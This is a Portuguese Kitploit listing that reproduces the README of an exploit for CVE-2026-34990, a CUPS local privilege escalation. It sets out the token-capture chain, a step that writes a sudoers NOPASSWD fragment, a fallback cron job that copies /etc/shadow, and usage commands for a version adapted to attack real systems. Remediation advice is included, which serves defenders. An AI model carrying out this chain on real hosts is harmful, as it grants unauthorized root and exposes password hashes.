Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-34990 — Escalação de privilégios local contra um `cupsd` root. | Kitploit
Ferramentas/GitHubGitHub/gbuyssens/cve-2026-34990
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubgbuyssens/cve-2026-34990

CVE-2026-34990

Escalação de privilégios local contra um `cupsd` root.

Ver Repositório
há 3 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-34990 — escalada de privilégios local no CUPS (cups2root, desmontado)

CVSS 3.x : 8.4 HIGH   (aproximado — verifique)
CWE      : CWE-287 (Autenticação Imprópria) + CWE-269 (Gerenciamento Impróprio de Privilégios)
Correção : CUPS 2.4.17+
Afeta    : CUPS ≤ 2.4.16 com cupsd em execução como root e 631 acessível localmente

Escalada de privilégios local contra um cupsd executado como root. Quando coagido a atuar como cliente IPP em direção a um servidor local malicioso, o cupsd responde a um desafio 401 WWW-Authenticate: Local reenviando seu próprio token de administrador. Capturar esse token permite que um usuário sem privilégios controle o cupsd como administrador (root). Uma fila de impressão file:// persistente (printer-is-temporary=false) contorna a política do FileDevice, de modo que um Print-Job bruto grava bytes do atacante em qualquer caminho como root — aqui, um fragmento de sudoers NOPASSWD.


Índice

  • Resumo da vulnerabilidade
  • Causa raiz
  • Cadeia de ataque
  • Desmontagem vs o PoC público
  • Versões afetadas
  • Este repositório
  • Uso
  • Remediação
  • Referências

Resumo da vulnerabilidade

Dois primitivos se encadeiam para produzir escrita arbitrária de arquivos como root:

  1. Autenticação Local reutilizável. O cupsd aceita uma autenticação Local respaldada por um certificado root em /run/cups/certs/. Atuando como cliente IPP, ele oferece esse token de administrador quando desafiado com 401 WWW-Authenticate: Local. Aponte o cupsd para um servidor IPP falso que você controla e você captura um token válido para controlá-lo como root.
  2. Bypass do FileDevice. file:// como device-uri é recusado por padrão. Criar a fila com printer-is-temporary=false a torna persistente e contorna essa proteção; um Print-Job bruto então grava seus bytes diretamente no arquivo alvo, como root.

Causa raiz

                  cupsd (root)                     rogue server 127.0.0.1:9189
                       |                                    |
  CUPS-Create-Local-Printer                                 |
  device-uri=ipp://127.0.0.1:9189/ipp/print                 |
                       |  "validate" the printer            |
                       |----------------------------------->|
                       |   401 WWW-Authenticate: Local      |
                       |<-----------------------------------|
                       |   retry + Authorization: Local <T> |
                       |----------------------------------->|  capture <T>

<T> é o próprio token de administrador do cupsd — reenvie-o contra /admin/ e você é equivalente a root.


Cadeia de ataque

1. Cap thread          bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce              CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
                       -> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write          CUPS-Add-Modify-Printer  device-uri=file:///etc/sudoers.d/<user>-pwn
                       printer-is-temporary=false (FileDevice bypass) + accept + resume
                       Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify              sudo -n id   ->   root
   (fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
    to /tmp/shadow-<user> mode 644; wait ≤90s for cron)

Desmontagem vs o PoC público

O PoC de referência (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) é um harness de demonstração: ele roda como root, gera seu próprio cupsd e um usuário unpriv descartável, e então usa sudo -u unpriv para simular o atacante. Inutilizável como está. Alterações:

  1. Desmontado — sem scaffolding de root/spawn; ataca o cupsd do sistema já como root em 127.0.0.1:631.
  2. Alvo real — atacante = usuário atual (ou $ATTACKER); fragmento <user> ALL=(ALL) NOPASSWD: ALL.
  3. IPP bruto sobre sockets — reescrita completa sem ipptool / lpadmin / lpinfo / cupsctl

Versões afetadas

StatusVersões
VulnerávelCUPS ≤ 2.4.16
CorrigidoCUPS 2.4.17 e posteriores

Este repositório

ArquivoFunção
exploit.pyPoC: vazamento de token → fila file:// → Print-Job bruto → root via sudoers
README.mdEste arquivo

Uso

Somente biblioteca padrão do Python 3 — sem dependências.

# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py

# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py

# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py

Em caso de sucesso:

[+] Local token: <token>
[+] ROOT via sudoers

depois sudo -i.


Remediação

  1. Atualize para CUPS 2.4.17+.
  2. Não execute cupsd como root quando for evitável; reduza privilégios / coloque o serviço em sandbox.
  3. Restrinja a autenticação Local e o backend de dispositivo file://; mantenha a política do FileDevice aplicada para filas persistentes.
  4. Se a impressão não for necessária: systemctl disable --now cups cups-browsed e remova o pacote.

Referências

  • NVD — CVE-2026-34990
  • GHSA-c54j-2vqw-wpwp — cups2root (R. de Jager, v12-security)
  • Notas de versão do OpenPrinting CUPS 2.4.17

Aviso legal

Este projeto destina-se apenas a testes de segurança autorizados, educação e pesquisa defensiva. Você é responsável por cumprir as leis aplicáveis e as regras de engajamento do seu laboratório ou cliente.

Baixar ferramenta